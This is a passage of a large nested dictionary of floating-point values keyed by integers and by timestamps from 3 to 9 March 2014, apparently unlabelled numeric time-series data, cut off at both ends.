4.959103160468854, '2014-03-08 12:00:00': 5.678875114183265, '2014-03-09 12:00:00': 6.168254133484884, '2014-03-05 12:00:00': 4.487508693866284, '2014-03-04 12:00:00': 4.048830988196032, '2014-03-03 12:00:00': 4.046352222304918}, 21: {'2014-03-07 12:00:00': 5.399934304482368, '2014-03-06 12:00:00': 5.071273090286988, '2014-03-08 12:00:00': 5.836656729532166, '2014-03-09 12:00:00': 6.336812648989962, '2014-03-05 12:00:00': 4.581375114396962, '2014-03-04 12:00:00': 4.117327902284706, '2014-03-03 12:00:00': 4.125257924875781}, 22: {'2014-03-07 12:00:00': 5.482476339751947, '2014-03-06 12:00:00': 5.145488386787796, '2014-03-08 12:00:00': 5.861887387367247, '2014-03-09 12:00:00': 6.431849843337869, '2014-03-05 12:00:00': 4.6860891242276415, '2014-03-04 12:00:00': 4.179511984545777, '2014-03-03 12:00:00': 4.181885113130891}, 23: {'2014-03-07 12:00:00': 5.508324542459601, '2014-03-06 12:00:00': 5.156812443333906, '2014-03-08 12:00:00': 5.892224667559948, '2014-03-09 12:00:00': 6.468323308598551, '2014-03-05 12:00:00': 4.698952395122188, '2014-03-04 12:00:00': 4.20164204385288, '2014-03-03 12:00:00': 4.20179427998208}, 24: {'2014-03-07 12:00:00': 5.518712130696857, '2014-03-06 12:00:00': 5.12452657196658, '2014-03-08 12:00:00': 5.879235131673008, '2014-03-09 12:00:00': 6.408983936236088, '2014-03-05 12:00:00': 4.6622825389151314, '2014-03-04 12:00:00': 4.187350537621232, '2014-03-03 12:00:00': 4.18873768161252}, 25: {'2014-03-07 12:00:00': 5.483519440304063, '2014-03-06 12:00:00': 5.085689140913717, '2014-03-08 12:00:00': 5.868090271724241, '2014-03-09 12:00:00': 6.349295580382658, '2014-03-05 12:00:00': 4.621992838074203, '2014-03-04 12:00:00': 4.117896961897474, '2014-03-03 12:00:00': 4.114252565448722}, 26: {'2014-03-07 12:00:00': 5.400832510458932, '2014-03-06 12:00:00': 5.000707763975142, '2014-03-08 12:00:00': 5.830254958406513, '2014-03-09 12:00:00': 6.229555465217554, '2014-03-05 12:00:00': 4.52860873984674, '2014-03-04 12:00:00': 4.02519080767602, '2014-03-03 12:00:00': 4.02155189156778}, 27: {'2014-03-07 12:00:00': 5.396701581825498, '2014-03-06 12:00:00': 4.944689302002762, '2014-03-08 12:00:00': 5.805081660153495, '2014-03-09 12:00:00': 6.1617271307163515, '2014-03-05 12:00:00': 4.47735376993166, '2014-03-04 12:00:00': 3.962130868829558, '2014-03-03 12:00:00': 3.9630323347542826}, 28: {'2014-03-07 12:00:00': 5.274278639508935, '2014-03-06 12:00:00': 4.804247104452619, '2014-03-08 12:00:00': 5.6771465566062105, '2014-03-09 12:00:00': 5.9712368416264185, '2014-03-05 12:00:00': 4.336216923153408, '2014-03-04 12:00:00': 3.8691702076971097, '2014-03-03 12:00:00': 3.870825983127008}, 29: {'2014-03-07 12:00:00': 5.199109754140114, '2014-03-06 12:00:00': 4.716282080136748, '2014-03-08 12:00:00': 5.607067151972428, '2014-03-09 12:00:00': 5.8788143957434675, '2014-03-05 12:00:00': 4.247884486710246, '2014-03-04 12:00:00': 3.7612487543675757, '2014-03-03 12:00:00': 3.7648823526557265}, 30: {'2014-03-07 12:00:00': 5.271053840531307, '2014-03-06 12:00:00': 4.797887808969085, '2014-03-08 12:00:00': 5.643992403475767, '2014-03-09 12:00:00': 5.932320112241504, '2014-03-05 12:00:00': 4.346921658803735, '2014-03-04 12:00:00': 3.778750297814985, '2014-03-03 12:00:00': 3.7772726749211363}, 31: {'2014-03-07 12:00:00': 5.240423021130306, '2014-03-06 12:00:00': 4.715502917068826, '2014-03-08 12:00:00': 5.582400428615877, '2014-03-09 12:00:00': 5.854627128196157, '2014-03-05 12:00:00': 4.274818483303973, '2014-03-04 12:00:00': 3.7217439050730996, '2014-03-03 12:00:00': 3.716154816756108}, 32: {'2014-03-07 12:00:00': 5.18289072462912, '2014-03-06 12:00:00': 4.645553502083477, '2014-03-08 12:00:00': 5.480516961719628, '2014-03-09 12:00:00': 5.7378115121666, '2014-03-05 12:00:00': 4.208476834539437, '2014-03-04 12:00:00': 3.642982519711558, '2014-03-03 12:00:00': 3.643744899219943}, 33: {'2014-03-07 12:00:00': 5.130409437994107, '2014-03-06 12:00:00': 4.5686108302584145, '2014-03-08 12:00:00': 5.39191728216167, '2014-03-09 12:00:00': 5.619774427409833, '2014-03-05 12:00:00': 4.128541491574849, '2014-03-04 12:00:00': 3.5746304151408648, '2014-03-03 12:00:00': 3.576261213636808}, 34: {'2014-03-07 12:00:00': 5.086585397766003, '2014-03-06 12:00:00': 4.496602278165531, '2014-03-08 12:00:00': 5.319639938918989, '2014-03-09 12:00:00': 5.55886693679318, '2014-03-05 12:00:00': 4.064980061303736, '2014-03-04 12:00:00': 3.5228021504478764, '2014-03-03 12:00:00': 3.5224349798612544}, 35: {'2014-03-07 12:00:00': 5.028361997867397, '2014-03-06 12:00:00': 4.409950137799052, '2014-03-08 12:00:00': 5.2389995881489995, '2014-03-09 12:00:00': 5.476440098861262, '2014-03-05 12:00:00': 3.9794852339419857, '2014-03-04 12:00:00': 3.4567251640387595, '2014-03-03 12:00:00': 3.4534883394862748}, 36: {'2014-03-07 12:00:00': 5.0379784870206175, '2014-03-06 12:00:00': 4.396828912193349, '2014-03-08 12:00:00': 5.265147690291491, '2014-03-09 12:00:00': 5.499412553762366, '2014-03-05 12:00:00': 3.9707819809952456, '2014-03-04 12:00:00': 3.437291031779273, '2014-03-03 12:00:00': 3.4316229777320513}, 37: {'2014-03-07 12:00:00': 4.946217175829068, '2014-03-06 12:00:00': 4.284179241750051, '2014-03-08 12:00:00': 5.159796357228574, '2014-03-09 12:00:00': 5.385869851295304, '2014-03-05 12:00:00': 3.8395437574284923, '2014-03-04 12:00:00': 3.3523735805982477, '2014-03-03 12:00:00': 3.3546857017207072}, 38: {'2014-03-07 12:00:00': 4.9272229281770645, '2014-03-06 12:00:00': 4.263086058793835, '2014-03-08 12:00:00': 5.15331118862941, '2014-03-09 12:00:00': 5.376322668551757, '2014-03-05 12:00:00': 3.830611878350488, '2014-03-04 12:00:00': 3.3333715322654056, '2014-03-03 12:00:00': 3.331142285092203}, 39: {'2014-03-07 12:00:00': 5.001043033926471, '2014-03-06 12:00:00': 4.34615914226643, '2014-03-08 12:00:00': 5.262890486780162, '2014-03-09 12:00:00': 5.4813972865257306, '2014-03-05 12:00:00': 3.888828011754361, '2014-03-04 12:00:00': 3.392649961551692, '2014-03-03 12:00:00': 3.391103171497694}, 40: {'2014-03-07 12:00:00': 4.931225015976859, '2014-03-06 12:00:00': 4.288280407527408, '2014-03-08 12:00:00': 5.189620863077374, '2014-03-09 12:00:00': 5.41816932836655, '2014-03-05 12:00:00': 3.845434215460349, '2014-03-04 12:00:00': 3.319630319820673, '2014-03-03 12:00:00': 3.3193331568740456}, 41: {'2014-03-07 12:00:00': 4.72170511282164, '2014-03-06 12:00:00': 4.087335189822222, '2014-03-08 12:00:00': 4.986013226164268, '2014-03-09 12:00:00': 5.128355877623166, '2014-03-05 12:00:00': 3.654458975164452, '2014-03-04 12:00:00': 3.0831844948354608, '2014-03-03 12:00:00': 3.0876854111867145}, 42: {'2014-03-07 12:00:00': 4.649315653675834, '2014-03-06 12:00:00': 4.001886578959376, '2014-03-08 12:00:00': 4.885743663088561, '2014-03-09 12:00:00': 5.038286253942503, '2014-03-05 12:00:00': 3.585838771913737, '2014-03-04 12:00:00': 3.0045404901711406, '2014-03-03 12:00:00': 3.009574228382581}, 43: {'2014-03-07 12:00:00': 4.525094604165622, '2014-03-06 12:00:00': 3.8872751090946394, '2014-03-08 12:00:00': 4.764736002277631, '2014-03-09 12:00:00': 4.883926224821534, '2014-03-05 12:00:00': 3.493913172899678, '2014-03-04 12:00:00': 2.9034407483104463, '2014-03-03 12:00:00': 2.9031916291526683}, 44: {'2014-03-07 12:00:00': 4.363531781830997, '2014-03-06 12:00:00': 3.767719605924953, '2014-03-08 12:00:00': 4.542630093907058, '2014-03-09 12:00:00': 4.660758581395757, '2014-03-05 12:00:00': 3.403458986783429, '2014-03-04 12:00:00': 2.725840943567614, '2014-03-03 12:00:00': 2.7268491639044523}, 45: {'2014-03-07 12:00:00': 4.129644192259908, '2014-03-06 12:00:00': 3.55542458519538, '2014-03-08 12:00:00': 4.3102118781748215, '2014-03-09 12:00:00': 4.395509580233224, '2014-03-05 12:00:00': 3.2286407979240974, '2014-03-04 12:00:00': 2.569543174706597, '2014-03-03 12:00:00': 2.565669125622233}, 46: {'2014-03-07 12:00:00': 3.7064632656219767, '2014-03-06 12:00:00': 3.224648383303685, '2014-03-08 12:00:00': 3.8615655712378025, '2014-03-09 12:00:00': 3.8799110388582716, '2014-03-05 12:00:00': 2.922499269647263, '2014-03-04 12:00:00': 2.242751027347426, '2014-03-03 12:00:00': 2.2487531325436865}, 47: {'2014-03-07 12:00:00': 3.490602681008634, '2014-03-06 12:00:00': 3.0557076486972874, '2014-03-08 12:00:00': 3.6031987996680894, '2014-03-09 12:00:00': 3.6785591115225795, '2014-03-05 12:00:00': 2.8107833874443253, '2014-03-04 12:00:00': 2.085721728688493, '2014-03-03 12:00:00': 2.084177167412027}, 48: {'2014-03-07 12:00:00': 3.6038140547645465, '2014-03-06 12:00:00': 3.220424246056145, '2014-03-08 12:00:00': 3.728237244783922, '2014-03-09 12:00:00': 3.9160348107383163, '2014-03-05 12:00:00': 2.9737210601156994, '2014-03-04 12:00:00': 2.2060286635295676, '2014-03-03 12:00:00': 2.2073041225326686}, 49: {'2014-03-07 12:00:00': 3.3837971844148096, '2014-03-06 12:00:00': 3.082605834640277, '2014-03-08 12:00:00': 3.458852892477709, '2014-03-09 12:00:00': 3.704077025252617, '2014-03-05 12:00:00': 2.87800928792968, '2014-03-04 12:00:00': 2.067805156954437, '2014-03-03 12:00:00': 2.067338137983966}, 50: {'2014-03-07 12:00:00': 3.1686168407267994, '2014-03-06 12:00:00': 2.837549444055821, '2014-03-08 12:00:00': 3.1918140794335033, '2014-03-09 12:00:00': 3.363103832725527, '2014-03-05 12:00:00': 2.6667598750896357, '2014-03-04 12:00:00': 1.9370303744812958, '2014-03-03 12:00:00': 1.9341458140437247}, 51: {'2014-03-07 12:00:00': 2.9822797026317005, '2014-03-06 12:00:00': 2.6581266981409937, '2014-03-08 12:00:00': 3.0199590088392614, '2014-03-09 12:00:00': 3.1200152133439514, '2014-03-05 12:00:00': 2.505892930815183, '2014-03-04 12:00:00': 1.7702449659644321, '2014-03-03 12:00:00': 1.7541490259938786}, 52: {'2014-03-07 12:00:00': 2.6316545276598, '2014-03-06 12:00:00': 2.375103107291915, '2014-03-08 12:00:00': 2.6602928266958377, '2014-03-09 12:00:00': 2.7545523624560686, '2014-03-05 12:00:00': 2.2771831827805733, '2014-03-04 12:00:00': 1.5184577549530422, '2014-03-03 12:00:00': 1.5129648723161124}, 53: {'2014-03-07 12:00:00': 2.237260514821839, '2014-03-06 12:00:00': 2.033824410033967, '2014-03-08 12:00:00': 2.2116299184098738, '2014-03-09 12:00:00': 2.2866148794031687, '2014-03-05 12:00:00': 1.9565283890464709, '2014-03-04 12:00:00': 1.3050267643372306, '2014-03-03 12:00:00': 1.2985023263472173}, 54: {'2014-03-07 12:00:00': 2.0802503661950658, '2014-03-06 12:00:00': 1.9060303956986524, '2014-03-08 12:00:00': 2.008077186352988, '2014-03-09 12:00:00': 2.101590291382821, '2014-03-05 12:00:00': 1.858245646364947, '2014-03-04 12:00:00': 1.2099689495316581, '2014-03-03 12:00:00': 1.2018105715123615}, 55: {'2014-03-07 12:00:00': 2.203421976031889, '2014-03-06 12:00:00': 2.0627787691842907, '2014-03-08 12:00:00': 2.1437083292503205, '2014-03-09 12:00:00': 2.238881154180697, '2014-03-05 12:00:00': 1.967652734471553, '2014-03-04 12:00:00': 1.368572998915142, '2014-03-03 12:00:00': 1.3571067804812753}, 56: {'2014-03-07 12:00:00': 1.77206374184608, '2014-03-06 12:00:00': 1.6552438104135914, '2014-03-08 12:00:00': 1.6816807949681591, '2014-03-09 12:00:00': 1.763311443653312, '2014-03-05 12:00:00': 1.6303744808485012, '2014-03-04 12:00:00': 0.9956861183183104, '2014-03-03 12:00:00': 0.991776860831716}, 57: {'2014-03-07 12:00:00': 1.7884100272525068, '2014-03-06 12:00:00': 1.6853951371314213, '2014-03-08 12:00:00': 1.7079731184467726, '2014-03-09 12:00:00': 1.7635500233159416, '2014-03-05 12:00:00': 1.7016451507313495, '2014-03-04 12:00:00': 0.953223402459179, '2014-03-03 12:00:00': 0.9644723178180187}, 58: {'2014-03-07 12:00:00': 1.5351735480870006, '2014-03-06 12:00:00': 1.446146573625134, '2014-03-08 12:00:00': 1.4235742063614196, '2014-03-09 12:00:00': 1.5127122537341497, '2014-03-05 12:00:00': 1.4517422921637941, '2014-03-04 12:00:00': 0.7474742967042274, '2014-03-03 12:00:00': 0.7538298176558043}, 59: {'2014-03-07 12:00:00': 1.185532376558341, '2014-03-06 12:00:00': 1.1344791001578232, '2014-03-08 12:00:00': 1.0669664753016765, '2014-03-09 12:00:00': 1.1399089194293284, '2014-03-05 12:00:00': 1.1351259200900714, '2014-03-04 12:00:00': 0.606652572623172, '2014-03-03 12:00:00': 0.5971856839396525}, 60: {'2014-03-07 12:00:00': 1.2984709007410555, '2014-03-06 12:00:00': 1.2492071106065472, '2014-03-08 12:00:00': 1.18444450394085, '2014-03-09 12:00:00': 1.285581470252333, '2014-03-05 12:00:00': 1.242789206832799, '2014-03-04 12:00:00': 0.6714456356452327, '2014-03-03 12:00:00': 0.6641353695322889}, 61: {'2014-03-07 12:00:00': 1.0357970578365452, '2014-03-06 12:00:00': 1.0163044476619172, '2014-03-08 12:00:00': 0.9177748242177008, '2014-03-09 12:00:00': 0.9640118426150013, '2014-03-05 12:00:00': 1.0167878889085087, '2014-03-04 12:00:00': 0.42772382890446015, '2014-03-03 12:00:00': 0.41910941640946814}, 62: {'2014-03-07 12:00:00': 0.9840562006583616, '2014-03-06 12:00:00': 0.9653443269283581, '2014-03-08 12:00:00': 0.8419394539988281, '2014-03-09 12:00:00': 0.8642292018700907, '2014-03-05 12:00:00': 0.9880948221074728, '2014-03-04 12:00:00': 0.3368284157898797, '2014-03-03 12:00:00': 0.3324913276369121}, 63: {'2014-03-07 12:00:00': 0.5414410503193048, '2014-03-06 12:00:00': 0.5746540285360042, '2014-03-08 12:00:00': 0.4492303425869086, '2014-03-09 12:00:00': 0.4133316538842644, '2014-03-05 12:00:00': 0.576422756954016, '2014-03-04 12:00:00': 0.1662644534665083, '2014-03-03 12:00:00': 0.15663172375869325}, 64: {'2014-03-07 12:00:00': 0.2728603532529036, '2014-03-06 12:00:00': 0.3335193884012214, '2014-03-08 12:00:00': 0.15156039846270827, '2014-03-09 12:00:00': 0.1337408586188209, '2014-03-05 12:00:00': 0.34406324806335725, '2014-03-04 12:00:00': -0.04449552594511327, '2014-03-03 12:00:00': -0.04857705121927225}, 65: {'2014-03-07 12:00:00': 0.1441313190088474, '2014-03-06 12:00:00': 0.2140233995786434, '2014-03-08 12:00:00': 0.014855136086431998, '2014-03-09 12:00:00': 0.020789792616794152, '2014-03-05 12:00:00': 0.22655513258305685, '2014-03-04 12:00:00': -0.09816837407792184, '2014-03-03 12:00:00': -0.09973887191710613}, 66: {'2014-03-07 12:00:00': -0.31726396398630946, '2014-03-06 12:00:00': -0.23264687651784335, '2014-03-08 12:00:00': -0.49607018048482027, '2014-03-09 12:00:00': -0.5996685342227505, '2014-03-05 12:00:00': -0.19408240523200407, '2014-03-04 12:00:00': -0.5716641799017685, '2014-03-03 12:00:00': -0.5629068319001435}, 67: {'2014-03-07 12:00:00': 0.26406091032608653, '2014-03-06 12:00:00': 0.32405567940966823, '2014-03-08 12:00:00': 0.13438596690284385, '2014-03-09 12:00:00': 0.1679027783170509, '2014-03-05 12:00:00': 0.3305543857663267, '2014-03-04 12:00:00': -0.06705375703185276, '2014-03-03 12:00:00': -0.07122394038869365}, 68: {'2014-03-07 12:00:00': 0.4818703940655362, '2014-03-06 12:00:00': 0.5304904257694811, '2014-03-08 12:00:00': 0.3120530298227146, '2014-03-09 12:00:00': 0.2705463897091246, '2014-03-05 12:00:00': 0.5590878502834743, '2014-03-04 12:00:00': -0.19239402282976759, '2014-03-03 12:00:00': -0.19577757326581557}, 69: {'2014-03-07 12:00:00': 0.4833350340193846, '2014-03-06 12:00:00': 0.49490926269590757, '2014-03-08 12:00:00': 0.41230429968959476, '2014-03-09 12:00:00': 0.4093498863474939, '2014-03-05 12:00:00': 0.48135065939324384, '2014-03-04 12:00:00': 0.10581870344725727, '2014-03-03 12:00:00': 0.09346387862242006}, 70: {'2014-03-07 12:00:00': 0.3687107752790827, '2014-03-06 12:00:00': 0.3972866316673671, '2014-03-08 12:00:00': 0.3351625103927471, '2014-03-09 12:00:00': 0.31211622181233795, '2014-03-05 12:00:00': 0.38020091390789135, '2014-03-04 12:00:00': -0.07361713184467097, '2014-03-03 12:00:00': -0.08184382170278101}, 71: {'2014-03-07 12:00:00': 0.6134144584592595, '2014-03-06 12:00:00': 0.6149252686746396, '2014-03-08 12:00:00': 0.61434477872488, '2014-03-09 12:00:00': 0.6314399231912046, '2014-03-05 12:00:00': 0.5860034567685071, '2014-03-04 12:00:00': 0.1918414757432364, '2014-03-03 12:00:00': 0.17531929574342883}, 72: {'2014-03-07 12:00:00': 0.7394305687465407, '2014-03-06 12:00:00': 0.7204856467283107, '2014-03-08 12:00:00': 0.749385558203481, '2014-03-09 12:00:00': 0.7915245971317283, '2014-03-05 12:00:00': 0.6835685625968877, '2014-03-04 12:00:00': 0.2946252794940849, '2014-03-03 12:00:00': 0.27425547723933846}, 73: {'2014-03-07 12:00:00': 0.3976378343898861, '2014-03-06 12:00:00': 0.3308848426786907, '2014-03-08 12:00:00': 0.31865526249595133, '2014-03-09 12:00:00': 0.2811646929563335, '2014-03-05 12:00:00': 0.3087447464098552, '2014-03-04 12:00:00': -0.038890979753760824, '2014-03-03 12:00:00': -0.04772528373753371}, 74: {'2014-03-07 12:00:00': 0.4902680761224601, '2014-03-06 12:00:00': 0.4234747277055335, '2014-03-08 12:00:00': 0.42397403607912226, '2014-03-09 12:00:00': 0.40561201073292813, '2014-03-05 12:00:00': 0.39923794901097354, '2014-03-04 12:00:00': 0.019547357812265048, '2014-03-03 12:00:00': 0.009125852646010069}, 75: {'2014-03-07 12:00:00': 0.5666916469180087, '2014-03-06 12:00:00': 0.49362672544944414, '2014-03-08 12:00:00': 0.48792165384193864, '2014-03-09 12:00:00': 0.5106496187420866, '2014-03-05 12:00:00': 0.46670706893386277, '2014-03-04 12:00:00': 0.08381092578033461, '2014-03-03 12:00:00': 0.07193573291538155}, 76: {'2014-03-07 12:00:00': 0.6732173175158089, '2014-03-06 12:00:00': 0.5711677528513498, '2014-03-08 12:00:00': 0.6166067705878218, '2014-03-09 12:00:00': 0.658487308162122, '2014-03-05 12:00:00': 0.5316698703870091, '2014-03-04 12:00:00': 0.17559622186346865, '2014-03-03 12:00:00': 0.16064976361976901}, 77: {'2014-03-07 12:00:00': 0.7018708573217332, '2014-03-06 12:00:00': 0.5813155662535714, '2014-03-08 12:00:00': 0.654906492873171, '2014-03-09 12:00:00': 0.6823053765362732, '2014-03-05 12:00:00': 0.5394719851562317, '2014-03-04 12:00:00': 0.2089569417341057, '2014-03-03 12:00:00': 0.19198187065677716}, 78: {'2014-03-07 12:00:00': 0.79497832739408, '2014-03-06 12:00:00': 0.6595665995099554, '2014-03-08 12:00:00': 0.7400488975220715, '2014-03-09 12:00:00': 0.8011666305822064, '2014-03-05 12:00:00': 0.6098554552250026, '2014-03-04 12:00:00': 0.2464647264296698, '2014-03-03 12:00:00': 0.2291889813021834}, 79: {'2014-03-07 12:00:00': 0.8329354386809618, '2014-03-06 12:00:00': 0.6324667606527294, '2014-03-08 12:00:00': 0.7874400939145138, '2014-03-09 12:00:00': 0.8025480922624864, '2014-03-05 12:00:00': 0.5749597701239134, '2014-03-04 12:00:00': 0.2520548328140329, '2014-03-03 12:00:00': 0.23480301091660602}, 80: {'2014-03-07 12:00:00': 0.8067454923172355, '2014-03-06 12:00:00': 0.5625704465206198, '2014-03-08 12:00:00': 0.7662222483666211, '2014-03-09 12:00:00': 0.7459029006971558, '2014-03-05 12:00:00': 0.5026487189791736, '2014-03-04 12:00:00': 0.21795315154494418, '2014-03-03 12:00:00': 0.20046208495685142}, 81: {'2014-03-07 12:00:00': 0.8113384599668045, '2014-03-06 12:00:00': 0.48752391218220853, '2014-03-08 12:00:00': 0.7677518480482376, '2014-03-09 12:00:00': 0.6907594792957428, '2014-03-05 12:00:00': 0.3801293407944545, '2014-03-04 12:00:00': -0.12568974984868508, '2014-03-03 12:00:00': -0.12553573533139972}, 82: {'2014-03-07 12:00:00': 0.6283965640945607, '2014-03-06 12:00:00': 0.351798938165081, '2014-03-08 12:00:00': 0.6083835829647908, '2014-03-09 12:00:00': 0.5183837141551498, '2014-03-05 12:00:00': 0.26390872311342833, '2014-03-04 12:00:00': -0.24595663122112743, '2014-03-03 12:00:00': -0.24595328539227038}, 83: {'2014-03-07 12:00:00': 0.55478807192813, '2014-03-06 12:00:00': 0.29957397744688463, '2014-03-08 12:00:00': 0.5442427444506803, '2014-03-09 12:00:00': 0.4563244207194359, '2014-03-05 12:00:00': 0.22279030678454442, '2014-03-04 12:00:00': -0.31160751750928806, '2014-03-03 12:00:00': -0.31115568882876043}, 84: {'2014-03-07 12:00:00': 0.551101330980102, '2014-03-06 12:00:00': 0.3011347109362216, '2014-03-08 12:00:00': 0.5510709774248197, '2014-03-09 12:00:00': 0.4643750865417838, '2014-03-05 12:00:00': 0.22333242290187205, '2014-03-04 12:00:00': -0.31159155469354716, '2014-03-03 12:00:00': -0.3115743255359599}, 85: {'2014-03-07 12:00:00': 0.3601862363382602, '2014-03-06 12:00:00': 0.18175120146161167, '2014-03-08 12:00:00': 0.3655817569410714, '2014-03-09 12:00:00': 0.271315495060216, '2014-03-05 12:00:00': 0.1375654343662917, '2014-03-04 12:00:00': -0.15837964472067964, '2014-03-03 12:00:00': -0.16540247659535726}, 86: {'2014-03-07 12:00:00': 0.3764890501390275, '2014-03-06 12:00:00': 0.21994971551131742, '2014-03-08 12:00:00': 0.35156682878016643, '2014-03-09 12:00:00': 0.31574271969701273, '2014-03-05 12:00:00': 0.17592974094926492, '2014-03-04 12:00:00': -0.19041990463760594, '2014-03-03 12:00:00': -0.19693033036705437}, 87: {'2014-03-07 12:00:00': 0.371958756462457, '2014-03-06 12:00:00': 0.30196474298318154, '2014-03-08 12:00:00': 0.3652942773787211, '2014-03-09 12:00:00': 0.44195424674174383, '2014-03-05 12:00:00': 0.2565051941503364, '2014-03-04 12:00:00': -0.19341881188262994, '2014-03-03 12:00:00': -0.19342156814200173}, 88: {'2014-03-07 12:00:00': 0.049003598337108246, '2014-03-06 12:00:00': 0.04105795737490717, '2014-03-08 12:00:00': 0.022083921329372473, '2014-03-09 12:00:00': 0.059699458732959704, '2014-03-05 12:00:00': 0.02162518456933677, '2014-03-04 12:00:00': -0.2565801982288831, '2014-03-03 12:00:00': -0.25781948553297795}, 89: {'2014-03-07 12:00:00': 0.07120991162939172, '2014-03-06 12:00:00': 0.07135522051885346, '2014-03-08 12:00:00': 0.0466718334131766, '2014-03-09 12:00:00': 0.10712028511350523, '2014-03-05 12:00:00': 0.05448156462223287, '2014-03-04 12:00:00': -0.18570795385090152, '2014-03-03 12:00:00': -0.1880665009781033}, 90: {'2014-03-07 12:00:00': 0.06441214301147341, '2014-03-06 12:00:00': 0.06966977365402965, '2014-03-08 12:00:00': 0.04869869175683612, '2014-03-09 12:00:00': 0.09962900156239665, '2014-03-05 12:00:00': 0.054205227646569126, '2014-03-04 12:00:00': -0.16599617276453182, '2014-03-03 12:00:00': -0.1682495052962475}, 91: {'2014-03-07 12:00:00': 0.00613512439209429, '2014-03-06 12:00:00': 0.04124414116476949, '2014-03-08 12:00:00': -0.0046611062498681105, '2014-03-09 12:00:00': 0.05440207263844933, '2014-03-05 12:00:00': 0.031111712108839472, '2014-03-04 12:00:00': -0.16944232291815442, '2014-03-03 12:00:00': -0.1707955962330114}, 92: {'2014-03-07 12:00:00': 0.012035642537377956, '2014-03-06 12:00:00': 0.05246568797117702, '2014-03-08 12:00:00': -0.008109427886085362, '2014-03-09 12:00:00': 0.0625105421316924, '2014-03-05 12:00:00': 0.04564699040058084, '2014-03-04 12:00:00': -0.1306308395671311, '2014-03-03 12:00:00': -0.13196806479634948}, 93: {'2014-03-07 12:00:00': -0.3364259986056006, '2014-03-06 12:00:00': -0.22111645556663387, '2014-03-08 12:00:00': -0.35262496003636484, '2014-03-09 12:00:00': -0.35334161191814717, '2014-03-05 12:00:00': -0.2054824787381681, '2014-03-04 12:00:00': -0.4202806650495371, '2014-03-03 12:00:00': -0.41683736988349845}, 94: {'2014-03-07 12:00:00': -0.5458897687117312, '2014-03-06 12:00:00': -0.43946413972471793, '2014-03-08 12:00:00': -0.5846113335376663, '2014-03-09 12:00:00': -0.6263606259147649, '2014-03-05 12:00:00': -0.4238628692323021, '2014-03-04 12:00:00': -0.6073037727766368, '2014-03-03 12:00:00': -0.6010284965949724}, 95: {'2014-03-07 12:00:00': -0.670460746514578, '2014-03-06 12:00:00': -0.6098797481781845, '2014-03-08 12:00:00': -0.7278562494472929, '2014-03-09 12:00:00': -0.8275954775311841, '2014-03-05 12:00:00': -0.5940658983912237, '2014-03-04 12:00:00': -0.7420468726859938, '2014-03-03 12:00:00': -0.7337159220107534}, 96: {'2014-03-07 12:00:00': -0.6020402516147566, '2014-03-06 12:00:00': -0.5204638397853713, '2014-03-08 12:00:00': -0.6319098308610852, '2014-03-09 12:00:00': -0.6700535363230398, '2014-03-05 12:00:00': -0.5184965469141745, '2014-03-04 12:00:00': -0.6455426099974056, '2014-03-03 12:00:00': -0.636510101170255}, 97: {'2014-03-07 12:00:00': -0.6937943665035677, '2014-03-06 12:00:00': -0.604334545171399, '2014-03-08 12:00:00': -0.694064794540567, '2014-03-09 12:00:00': -0.6691654971663674, '2014-03-05 12:00:00': -0.6127910220861091, '2014-03-04 12:00:00': -0.704271502349781, '2014-03-03 12:00:00': -0.6941062978695992}, 98: {'2014-03-07 12:00:00': -0.6914312740895392, '2014-03-06 12:00:00': -0.6114849643167969, '2014-03-08 12:00:00': -0.6641925775357975, '2014-03-09 12:00:00': -0.6340820378771184, '2014-03-05 12:00:00': -0.6288994997443805, '2014-03-04 12:00:00': -0.7144805525538082, '2014-03-03 12:00:00': -0.7044216411612443}, 99: {'2014-03-07 12:00:00': -0.921940340186195, '2014-03-06 12:00:00': -0.7983447890651834, '2014-03-08 12:00:00': -0.9077640282469562, '2014-03-09 12:00:00': -0.8760935738259852, '2014-03-05 12:00:00': -0.8087802012826655, '2014-03-04 12:00:00': -0.9498251101796926, '2014-03-03 12:00:00': -0.9376344022442387}, 100: {'2014-03-07 12:00:00': -0.6502811791490869, '2014-03-06 12:00:00': -0.5622896754701989, '2014-03-08 12:00:00': -0.6473804278381912, '2014-03-09 12:00:00': -0.6028920553188749, '2014-03-05 12:00:00': -0.5763592654755898, '2014-03-04 12:00:00': -0.6871377658340921, '2014-03-03 12:00:00': -0.6783114719115901}, 101: {'2014-03-07 12:00:00': -0.4136747172385559, '2014-03-06 12:00:00': -0.368554189022442, '2014-03-08 12:00:00': -0.3894316021032892, '2014-03-09 12:00:00': -0.2668161326264487, '2014-03-05 12:00:00': -0.39082091481578807, '2014-03-04 12:00:00': -0.4957795292399291, '2014-03-03 12:00:00': -0.4907511449217411}, 102: {'2014-03-07 12:00:00': -0.4701751453940642, '2014-03-06 12:00:00': -0.42091085615951657, '2014-03-08 12:00:00': -0.4311115899746283, '2014-03-09 12:00:00': -0.3219436882837803, '2014-03-05 12:00:00': -0.44506053476270147, '2014-03-04 12:00:00': -0.5422723824602041, '2014-03-03 12:00:00': -0.5364903830827352}, 103: {'2014-03-07 12:00:00': -0.3852862076196847, '2014-03-06 12:00:00': -0.3719256062209696, '2014-03-08 12:00:00': -0.3485496759624416, '2014-03-09 12:00:00': -0.22878887508411433, '2014-03-05 12:00:00': -0.3986534855865486, '2014-03-04 12:00:00': -0.4940729642002879, '2014-03-03 12:00:00': -0.48938415470182034}, 104: {'2014-03-07 12:00:00': -0.4765366535544934, '2014-03-06 12:00:00': -0.4821486364684108, '2014-03-08 12:00:00': -0.4596008223880053, '2014-03-09 12:00:00': -0.39910048979970114, '2014-03-05 12:00:00': -0.5055294434432277, '2014-03-04 12:00:00': -0.6041808901584869, '2014-03-03 12:00:00': -0.5974969889159666}, 105: {'2014-03-07 12:00:00': -0.4465173444391115, '2014-03-06 12:00:00': -0.5043861474453069, '2014-03-08 12:00:00': -0.43106728022014756, '2014-03-09 12:00:00': -0.412475451399181, '2014-03-05 12:00:00': -0.5372682075455392, '2014-03-04 12:00:00': -0.6311454896119801, '2014-03-03 12:00:00': -0.6246301031101439}, 106: {'2014-03-07 12:00:00': -0.5137502060144477, '2014-03-06 12:00:00': -0.6185911370714507, '2014-03-08 12:00:00': -0.5143346447150555, '2014-03-09 12:00:00': -0.5544198483426842, '2014-03-05 12:00:00': -0.6502592886205524, '2014-03-04 12:00:00': -0.6951057556637562, '2014-03-03 12:00:00': -0.6866586931631931}, 107: {'2014-03-07 12:00:00': -0.6455855872631884, '2014-03-06 12:00:00': -0.7678174646153069, '2014-03-08 12:00:00': -0.6269859806526044, '2014-03-09 12:00:00': -0.6801430070909245, '2014-03-05 12:00:00': -0.8031711030506336, '2014-03-04 12:00:00': -0.8364778773117615, '2014-03-03 12:00:00': -0.825493353844011}, 108: {'2014-03-07 